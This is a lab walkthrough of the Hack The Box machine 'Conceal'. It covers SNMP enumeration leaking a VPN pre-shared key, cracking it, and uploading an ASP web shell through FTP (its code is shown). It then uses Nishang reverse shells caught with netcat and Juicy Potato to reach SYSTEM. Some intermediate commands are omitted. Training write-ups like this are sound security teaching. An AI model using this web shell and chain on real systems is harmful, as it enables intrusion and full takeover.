┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.116
All 1000 scanned ports on 10.10.10.116 are in ignored states.
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.116
161/udp open snmp
500/udp open isakmp
OS CPE: cpe:/h:allen-bradley:micrologix_1100 cpe:/h:atcom:at-320 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_server_2012 cpe:/a:vmware:player
OS details: Allen Bradley MicroLogix 1100 PLC, Atcom AT-320 VoIP phone, Microsoft Windows Embedded Standard 7, Microsoft Windows 8.1 Update 1, Microsoft Windows Phone 7.5 or 8.0, Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012, Palmmicro AR1688 VoIP module, VMware Player virtual NAT device
We have one open port.
Port 500: running isakmp
A quick google search tells us that it is the Internet Security Association and Key Management Protocol( ISAKMP) which is commonly called Internet Key Exchange (IKE). A lot of the documentation references configuring IPsec and ISAKMP standards to build VPNs.
So there are probably other ports that are open, however, we won’t be able to see them before we establish that VPN connection. In order to do that, we need some kind of key for authentication and since this is an HTB box, we have to find this key somewhere. So what we’ll do is rerun all the nmap scans to see if we missed any ports the first time around.
Enumeration:
Port 161 is open. This usually runs the SNMP service. Let’s check that using nmap.
┌──(kali💀kali)-[~]
└─$ sudo nmap -p 161 -sU -sC -sV 10.10.10.116
-p: port
-sU: UDP scan
-sC: run default scripts
-sV: version detection
161/udp open snmp SNMPv1 server (public)
| snmp-win32-users:
| Administrator
| DefaultAccount
| Destitute
|_ Guest
| snmp-processes:
| 1:
| Name: System Idle Process
| 4:
| Name: System
| 292:
| Name: svchost.exe
| Path: C:\Windows\system32\
| Params: -k LocalServiceNoNetwork
| 304:
| Name: smss.exe
| 372:
| Name: svchost.exe
| Path: C:\Windows\system32\
| Params: -k LocalService
| 388:
| Name: csrss.exe
| 468:
| Name: wininit.exe
| 476:
| Name: csrss.exe
| 536:
| Name: winlogon.exe
| 612:
| Name: services.exe
| 620:
| Name: lsass.exe
| Path: C:\Windows\system32\
| 708:
| Name: svchost.exe
| Path: C:\Windows\system32\
| Params: -k DcomLaunch
| 728:
| Name: fontdrvhost.exe
| 732:
| Name: fontdrvhost.exe
| 816:
| Name: svchost.exe
| Path: C:\Windows\system32\
| Params: -k RPCSS
| 908:
| Name: vmacthlp.exe
| Path: C:\Program Files\VMware\VMware Tools\
| 916:
| Name: dwm.exe
| 956:
| Name: svchost.exe
| Path: C:\Windows\System32\
| Params: -k LocalServiceNetworkRestricted
| 976:
| Name: svchost.exe
| Path: C:\Windows\System32\
| Params: -k LocalSystemNetworkRestricted
| 1040:
| Name: svchost.exe
| Path: C:\Windows\system32\
| Params: -k netsvcs
| 1068:
| Name: SearchIndexer.exe
| Path: C:\Windows\system32\
| Params: /Embedding
| 1076:
| Name: Memory Compression
| 1088:
| Name: svchost.exe
| Path: C:\Windows\System32\
| Params: -k NetworkService
| 1216:
| Name: svchost.exe
| Path: C:\Windows\System32\
| Params: -k LocalServiceNetworkRestricted
| 1296:
| Name: svchost.exe
| Path: C:\Windows\system32\
| Params: -k LocalServiceNetworkRestricted
| 1308:
| Name: svchost.exe
| Path: C:\Windows\System32\
| Params: -k LocalServiceNetworkRestricted
| 1480:
| Name: spoolsv.exe
| Path: C:\Windows\System32\
| 1624:
| Name: svchost.exe
| Path: C:\Windows\system32\
| Params: -k appmodel
| 1740:
| Name: svchost.exe
| Path: C:\Windows\system32\
| Params: -k apphost
| 1756:
| Name: svchost.exe
| Path: C:\Windows\System32\
| Params: -k utcsvc
| 1780:
| Name: svchost.exe
| Path: C:\Windows\system32\
| Params: -k ftpsvc
| 1812:
| Name: svchost.exe
| Path: C:\Windows\system32\
| Params: -k LocalSystemNetworkRestricted
| 1820:
| Name: SecurityHealthService.exe
| 1844:
| Name: snmp.exe
| Path: C:\Windows\System32\
| 1884:
| Name: VGAuthService.exe
| Path: C:\Program Files\VMware\VMware Tools\VMware VGAuth\
| 1896:
| Name: vmtoolsd.exe
| Path: C:\Program Files\VMware\VMware Tools\
| 1904:
| Name: ManagementAgentHost.exe
| Path: C:\Program Files\VMware\VMware Tools\VMware CAF\pme\bin\
| 1916:
| Name: svchost.exe
| Path: C:\Windows\system32\
| Params: -k iissvcs
| 1992:
| Name: LogonUI.exe
| Params: /flags:0x0 /state0:0xa39c8855 /state1:0x41c64e6d
| 2004:
| Name: SearchProtocolHost.exe
| Path: C:\Windows\system32\
| Params: Global\UsGthrFltPipeMssGthrPipe2_ Global\UsGthrCtrlFltPipeMssGthrPipe2 1 -2147483646 "Software\Microsoft\Windows Search" "Mozil
| 2032:
| Name: MsMpEng.exe
| 2480:
| Name: svchost.exe
| Path: C:\Windows\system32\
| Params: -k NetworkServiceNetworkRestricted
| 2732:
| Name: msdtc.exe
| Path: C:\Windows\System32\
| 2740:
| Name: WmiPrvSE.exe
| Path: C:\Windows\system32\wbem\
| 2744:
| Name: WmiPrvSE.exe
| Path: C:\Windows\system32\wbem\
| 2780:
| Name: svchost.exe
| 2916:
| Name: MpCmdRun.exe
| Path: C:\Program Files\Windows Defender\
| Params: Scan -ScheduleJob -ScanTrigger 55
| 3016:
| Name: conhost.exe
| Path: \??\C:\Windows\system32\
| Params: 0x4
| 3044:
| Name: dllhost.exe
| Path: C:\Windows\system32\
| Params: /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}
| 3424:
| Name: svchost.exe
| Path: C:\Windows\system32\
| Params: -k LocalServiceAndNoImpersonation
| 3544:
| Name: NisSrv.exe
| 4760:
| Name: MpCmdRun.exe
| Path: C:\Program Files\Windows Defender\
| Params: Scan -ScheduleJob -RestrictPrivileges -ScanType 1 -ScanTrigger 59 -Reinvoke
| 4772:
| Name: SearchFilterHost.exe
| Path: C:\Windows\system32\
|_ Params: 0 700 704 712 8192 708
| snmp-win32-software:
| Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161; 2021-03-17T15:16:36
| Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161; 2021-03-17T15:16:36
|_ VMware Tools; 2021-03-17T15:16:36
| snmp-netstat:
| TCP 0.0.0.0:21 0.0.0.0:0
| TCP 0.0.0.0:80 0.0.0.0:0
| TCP 0.0.0.0:135 0.0.0.0:0
| TCP 0.0.0.0:445 0.0.0.0:0
| TCP 0.0.0.0:49664 0.0.0.0:0
| TCP 0.0.0.0:49665 0.0.0.0:0
| TCP 0.0.0.0:49666 0.0.0.0:0
| TCP 0.0.0.0:49667 0.0.0.0:0
| TCP 0.0.0.0:49668 0.0.0.0:0
| TCP 0.0.0.0:49669 0.0.0.0:0
| TCP 0.0.0.0:49670 0.0.0.0:0
| TCP 10.10.10.116:139 0.0.0.0:0
| UDP 0.0.0.0:123 *:*
| UDP 0.0.0.0:161 *:*
| UDP 0.0.0.0:500 *:*
| UDP 0.0.0.0:4500 *:*
| UDP 0.0.0.0:5050 *:*
| UDP 0.0.0.0:5353 *:*
| UDP 0.0.0.0:5355 *:*
| UDP 10.10.10.116:137 *:*
| UDP 10.10.10.116:138 *:*
| UDP 10.10.10.116:1900 *:*
| UDP 10.10.10.116:57172 *:*
| UDP 127.0.0.1:1900 *:*
|_ UDP 127.0.0.1:57173 *:*
| snmp-win32-services:
| Application Host Helper Service
| Background Intelligent Transfer Service
| Background Tasks Infrastructure Service
| Base Filtering Engine
| CNG Key Isolation
| COM+ Event System
| COM+ System Application
| Client License Service (ClipSVC)
| Connected Devices Platform Service
| Connected User Experiences and Telemetry
| CoreMessaging
| Cryptographic Services
| DCOM Server Process Launcher
| DHCP Client
| DNS Client
| Data Sharing Service
| Data Usage
| Device Setup Manager
| Diagnostic Policy Service
| Diagnostic Service Host
| Diagnostic System Host
| Distributed Link Tracking Client
| Distributed Transaction Coordinator
| Geolocation Service
| Group Policy Client
| IKE and AuthIP IPsec Keying Modules
| IP Helper
| IPsec Policy Agent
| Local Session Manager
| Microsoft FTP Service
| Network Connection Broker
| Network List Service
| Network Location Awareness
| Network Store Interface Service
| Plug and Play
| Power
| Print Spooler
| Program Compatibility Assistant Service
| RPC Endpoint Mapper
| Remote Procedure Call (RPC)
| SNMP Service
| SSDP Discovery
| Security Accounts Manager
| Security Center
| Server
| Shell Hardware Detection
| State Repository Service
| Storage Service
| Superfetch
| System Event Notification Service
| System Events Broker
| TCP/IP NetBIOS Helper
| Task Scheduler
| Themes
| Tile Data model server
| Time Broker
| TokenBroker
| User Manager
| User Profile Service
| VMware Alias Manager and Ticket Service
| VMware CAF Management Agent Service
| VMware Physical Disk Helper Service
| VMware Tools
| WinHTTP Web Proxy Auto-Discovery Service
| Windows Audio
| Windows Audio Endpoint Builder
| Windows Connection Manager
| Windows Defender Antivirus Network Inspection Service
| Windows Defender Antivirus Service
| Windows Defender Security Centre Service
| Windows Driver Foundation - User-mode Driver Framework
| Windows Event Log
| Windows Firewall
| Windows Font Cache Service
| Windows Management Instrumentation
| Windows Process Activation Service
| Windows Push Notifications System Service
| Windows Search
| Windows Time
| Windows Update
| Workstation
|_ World Wide Web Publishing Service
| snmp-sysdescr: Hardware: Intel64 Family 6 Model 85 Stepping 7 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 15063 Multiprocessor Free)
|_ System uptime: 19m24.38s (116438 timeticks)
| snmp-interfaces:
| Software Loopback Interface 1\x00
| IP address: 127.0.0.1 Netmask: 255.0.0.0
| Type: softwareLoopback Speed: 1 Gbps
| Traffic stats: 0.00 Kb sent, 0.00 Kb received
| vmxnet3 Ethernet Adapter\x00
| IP address: 10.10.10.116 Netmask: 255.255.255.0
| MAC address: 00:50:56:b9:04:91 (VMware)
| Type: ethernetCsmacd Speed: 4 Gbps
| Traffic stats: 105.59 Kb sent, 470.93 Kb received
| vmxnet3 Ethernet Adapter-WFP Native MAC Layer LightWeight Filter-0000\x00
| MAC address: 00:50:56:b9:04:91 (VMware)
| Type: ethernetCsmacd Speed: 4 Gbps
| Traffic stats: 105.59 Kb sent, 470.93 Kb received
| vmxnet3 Ethernet Adapter-QoS Packet Scheduler-0000\x00
| MAC address: 00:50:56:b9:04:91 (VMware)
| Type: ethernetCsmacd Speed: 4 Gbps
| Traffic stats: 105.59 Kb sent, 470.93 Kb received
| vmxnet3 Ethernet Adapter-WFP 802.3 MAC Layer LightWeight Filter-0000\x00
| MAC address: 00:50:56:b9:04:91 (VMware)
| Type: ethernetCsmacd Speed: 4 Gbps
|_ Traffic stats: 105.59 Kb sent, 470.93 Kb received
Service Info: Host: Conceal
The port is running SNMP version 1 and was able to query the service using the default “public” community string. We see that there are a bunch of ports that are open including FTP, HTTP and SMB. We won’t get access to these ports until we establish a secure connection.
For now, we can only interact with the SNMP and ISAKMP ports. Let’s first query SNMP for any sensitive information.
SNMP - UDP 161
Knowing that snmp is open, I’ll use snmpwalk with the standard parameters:
┌──(kali💀kali)-[~]
└─$ snmpwalk -c public -v 1 10.10.10.116
-c: community string
-v: SNMP version
iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: Intel64 Family 6 Model 85 Stepping 7 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 15063 Multiprocessor Free)"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.1
iso.3.6.1.2.1.1.3.0 = Timeticks: (163448) 0:27:14.48
iso.3.6.1.2.1.1.4.0 = STRING: "IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43"
iso.3.6.1.2.1.1.5.0 = STRING: "Conceal"
iso.3.6.1.2.1.1.6.0 = ""
Hash Type Result
9C8B1A372B1878851BE2C097031B6E43 NTLM Dudecake1!
IKE - UDP 500
Now that we have a plaintext password, let’s try and establish a connection to the VPN. First run ike-scan to determine the IKE implementation and configuration that the host is using. UDP 500 is used for Internet Key Exchange (IKE), which is used to establish an IPSEC VPN. There is some recon I can do on the IKE using ike-scan:
The Internet Key Exchange (IKE) is encrypted with triple DES, using SHA1 hash, and modp1024.
Auth is Preshared Key (PSK)
The IKE is v1, not v2.
Connecting to IPSEC VPN
Install strongswan
Next, we’ll use strongswan to establish the IPsec connection. This does not come preinstalled on Kali. To install it, run the following command.
We get the default Windows Microsoft IIS welcome page. The page source doesn’t contain any sensitive information. Next, run gobuster to enumerate directories/files.
ftp> put test.txt
ftp> ls
12-20-23 02:23AM 7 test.txt
ftp> del test.txt
250 DELE command successful.
But after few minutes the file was deleted, so if we want to use this, we might need to do it quickly.
Perfect! According to the nmap scan, this is a Microsoft IIS server version 10, so it should be able to execute ASP and ASPX code. Let’s test this out on the web server.
Create a test.aspx file on the attack machine and upload it on the FTP server in the same way we did before. Then execute the file from the /upload directory on the web server.
┌──(kali💀kali)-[~/Desktop]
└─$ nano test.aspx
ftp> put test.aspx
HTTP Error 404.3 - Not Found
We get an HTTP error saying that the file can’t be served because of the extension configuration. So we can’t upload ASPX files. Next, let’s try an ASP file.
Create a test.asp file on the attack machine and upload it on the FTP server in the same way we did before. Then execute the file from the /upload directory on the web server.
Perfect, it does execute ASP code! We’ll use this to gain an initial foothold on the system.
Foothold:
Create a cmd.asp file on the attack machine that contains the following simple web shell.
┌──(kali💀kali)-[~/Desktop]
└─$ nano cmd.asp
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c whoami")
o = cmd.StdOut.Readall()
Response.write(o)
%>
The above code executes the whoami command and outputs it on the screen. Upload the cmd.asp file on the FTP server and view it on the browser.
ftp> put cmd.asp
http://10.10.10.116/upload/cmd.asp
conceal\destitute
We have code execution!
Nishang Shell
Download the Nishang repository and copy the Invoke-PowerShellTcp.ps1 script into your current directory.
Upload the cmd.asp file on the FTP server and view it on the browser. We get a shell! Grab the user.txt flag.
┌──(kali💀kali)-[~]
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.116] 49691
Windows PowerShell running as user CONCEAL$ on CONCEAL
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\SysWOW64\inetsrv>whoami
conceal\destitute
PS C:\Users\Destitute\Desktop> type user.txt
6462ff-----------------------------
Privilege Escalation:
Run the systeminfo command.
PS C:\Users\Administrator> systeminfo
Host Name: CONCEAL
OS Name: Microsoft Windows 10 Enterprise
OS Version: 10.0.15063 N/A Build 15063
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00329-00000-00003-AA343
Original Install Date: 12/10/2018, 20:04:27
System Boot Time: 20/12/2023, 00:07:00
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2295 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-gb;English (United Kingdom)
Input Locale: en-gb;English (United Kingdom)
Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory: 2,047 MB
Available Physical Memory: 1,179 MB
Virtual Memory: Max Size: 3,199 MB
Virtual Memory: Available: 2,268 MB
Virtual Memory: In Use: 931 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0 2
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.116
[02]: fe80::89cd:a60b:b146:f16a
[03]: dead:beef::ad98:3e35:719b:6661
[04]: dead:beef::89cd:a60b:b146:f16a
[05]: dead:beef::24b
Hyper-V Requirements: A hypervisor has been detected.
We’re on a Microsoft Windows 10 Enterprise 64-bit OS. Let’s first check the system privileges that are enabled for this user.
PS C:\Users\Administrator> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SetImpersonatePrivilege is enabled so we’re very likely to get SYSTEM using juicy-potato Users running the SQL server service or the IIS service usually have these privileges enabled by design. This privilege is designed to allow a service to impersonate other users on the system. Juicy Potato exploits the way Microsoft handles tokens in order to escalate local privileges to SYSTEM.
Let’s test it out. Grab the Juicy Potato executable and transfer it to the target machine using the following command.
Run the executable file to view the arguments it takes.
PS C:\Users\Destitute\Desktop> ./jp.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token's user
It requires 3 mandatory arguments. -t: Create process call. For this option we’ll use * to test both options. -p: The program to run. We’ll need to create a file that sends a reverse shell back to our attack machine. -l: COM server listen port. This can be anything. We’ll use 6666.
First copy the Invoke-PowerShellTcp.ps1 script once again into your current directory. Add the following line to the end of the script with the attack configuration settings.
When called, this sends a reverse shell back to our attack machine on port 6666. Next, create a shell.bat file that downloads the above shell-2.ps1 PowerShell script and runs it.
┌──(kali💀kali)-[~]
└─$ nc -nlvp 6666
listening on [any] 6666 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.116] 49702
Windows PowerShell running as user CONCEAL$ on CONCEAL
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>whoami
nt authority\system
PS C:\Users\Administrator\Desktop> type root.txt
0e5eca-----------------------------
